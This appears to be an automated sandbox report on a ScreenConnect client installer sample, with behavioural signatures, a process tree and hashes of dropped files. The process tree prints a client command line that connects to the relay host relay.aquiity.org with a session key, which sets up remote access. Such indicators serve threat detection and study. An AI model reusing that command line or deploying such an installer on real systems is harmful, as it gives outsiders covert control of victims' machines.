Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 18:23

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 11.1MB
  • Sample260623-w1jsasft9w
  • SHA256 8e5cb59f2b2bca9b970d5918dd2e0d8667a1f319fb7a8c6290c8ae1df0e04f0a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4712
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5800
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6C509809053302686D0CDF8DDDFCD5A2 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE4DD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240707187 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4860
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2396
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0B7872CB58FBD27CCC7C54235E747889
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:780
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A97C2E76EA45368361A05540CB4E8FE1 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:620
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5428
    • C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.aquiity.org&p=8041&s=1bb4baf2-2479-4938-8c57-29549317f009&k=BgIAAACkAABSU0ExAAgAAAEAAQBN6evN8uJpca4eborQrVv43fSasDRzbzAJaYJVBnOIN07RYju5IiHMsI96ZVVixfOz08HODb6zV1s9f2gcBne3pBPPk43xy91XzxcbjxsEyjTgZD4CQAFWemiHVKJHJCQger8fFfi1SaAjdGgl7927aTePVj5ewy5hjf2y4qSSMbmOLO6PtMQO5IZ7a3bcAgpcVcHpovxUfGObCFm3v8OGNyXQpXFwO9jbHKi7uQCOUbPYOo6vAZyminfRNvNdb0fV0Lzj7uAuNDrLqvZmszIbvYqfugeBoFcTibXu2IBtGbdgf5cV6mt3fNXr4CpIZfc6hfasJFMU5j0WSJSf1fTd"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4076
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 1336
        2⤵
        • Program crash
        PID:3804
    • C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.aquiity.org&p=8041&s=1bb4baf2-2479-4938-8c57-29549317f009&k=BgIAAACkAABSU0ExAAgAAAEAAQBN6evN8uJpca4eborQrVv43%2fSasDRzbzAJaYJVBnOIN07RYju5IiHMsI96ZVVixfOz08HODb6zV1s9%2f2gcBne3pBPPk43xy91Xzxc%2bjxsEyjTgZD4CQAFWemiHVKJHJCQger8%2fFfi1SaAjdGgl7927aTePVj5ewy5hj%2f2y4qSSM%2bmOLO6PtMQO5IZ7a3bcAgpcVcHpovxUfGO%2bCFm3v8OGNyXQpXFwO9jbHKi7uQCOUbPYOo6vAZymin%2fRNvNdb0fV0Lzj7uAuNDrLqvZmszIbvYq%2fugeBoFcTibXu2IBtG%2bdgf5cV6mt3%2fNXr4CpIZ%2fc6h%2fasJFMU5j0WSJSf1%2fTd"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5920
      • C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsClient.exe" "RunRole" "128e47bb-0761-4bf7-80f0-ce637e1991e2" "User"
        2⤵
        • Executes dropped EXE
        PID:4608
      • C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsClient.exe" "RunRole" "4f4abbbb-610b-4e0d-8e59-3a0e8c59158b" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1840
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4076 -ip 4076
      1⤵
        PID:2948

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e593cd1.rbs

            • Path C:\Config.Msi\e593cd1.rbs
            • Size 214KB
            • SHA256 204b0054cc1c77488b767a0fb87ab5bbd7d6150fb2741358b66def3d7e77f34b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\Client.Override.en-US.resources
            • Size 316B
            • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
            • MD5 SHA1 SHA512 TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\app.config
            • Size 2KB
            • SHA256 0b0efdb8aae33b163f8def562da9ede186f28e58d9e16d8aab1267aad5f309d3
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (10642e34e4c2e6fd)\system.config
            • Size 951B
            • SHA256 bd78e57b6dd980b64e765d9b1102aa7f7cf7e5846c5a934bfdc1bc83367464f0
            • MD5 SHA1 SHA512 TLSH

            MSIE4DD.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSIE4DD.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIE4DD.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIE4DD.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIE4DD.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIE4DD.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI42CD.tmp

            • Path C:\Windows\Installer\MSI42CD.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e593cd0.msi

            • Path C:\Windows\Installer\e593cd0.msi
            • Size 11.1MB
            • SHA256 8e5cb59f2b2bca9b970d5918dd2e0d8667a1f319fb7a8c6290c8ae1df0e04f0a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 338f2c9ba29372359abeff143aeeca57f378ffc4d2cf80ed645f3dc058425ca1
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {6d51a556-5039-460f-9139-02a04b12c4eb}_OnDiskSnapshotProp

            • Path \??\Volume{2e4f07ee-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{6d51a556-5039-460f-9139-02a04b12c4eb}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 df2d2d9e1479fee6e0ff2d8b65f174ee4c4eb72b3c23c629895725189f007f15
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1840-132-0x0000000002BF0000-0x0000000002C31000-memory.dmp

            memory/4076-74-0x0000000002D20000-0x0000000002D38000-memory.dmp

            memory/4608-123-0x0000000000A80000-0x0000000000B18000-memory.dmp

            memory/4608-129-0x0000000002DD0000-0x0000000002DE8000-memory.dmp

            memory/4608-130-0x0000000002F10000-0x0000000002F51000-memory.dmp

            memory/4608-128-0x0000000002C30000-0x0000000002C48000-memory.dmp

            memory/4608-127-0x000000001C090000-0x000000001C218000-memory.dmp

            memory/4608-125-0x000000001BB10000-0x000000001BB9C000-memory.dmp

            memory/4608-126-0x000000001BD50000-0x000000001BEFC000-memory.dmp

            memory/4608-124-0x0000000002D90000-0x0000000002DC6000-memory.dmp

            memory/4860-18-0x00000000052B0000-0x00000000052DE000-memory.dmp

            memory/4860-22-0x00000000052F0000-0x00000000052FA000-memory.dmp

            memory/4860-26-0x00000000053B0000-0x000000000543C000-memory.dmp

            memory/4860-30-0x00000000055F0000-0x000000000579C000-memory.dmp

            memory/4860-31-0x0000000005D60000-0x000000000631A000-memory.dmp

            memory/5800-133-0x000001DA11150000-0x000001DA11AF4000-memory.dmp

            memory/5920-112-0x00000000040F0000-0x0000000004131000-memory.dmp

            memory/5920-114-0x0000000004600000-0x00000000046D5000-memory.dmp

            memory/5920-105-0x00000000042E0000-0x0000000004330000-memory.dmp

            memory/5920-110-0x0000000004410000-0x00000000044A2000-memory.dmp

            memory/5920-109-0x0000000004330000-0x0000000004366000-memory.dmp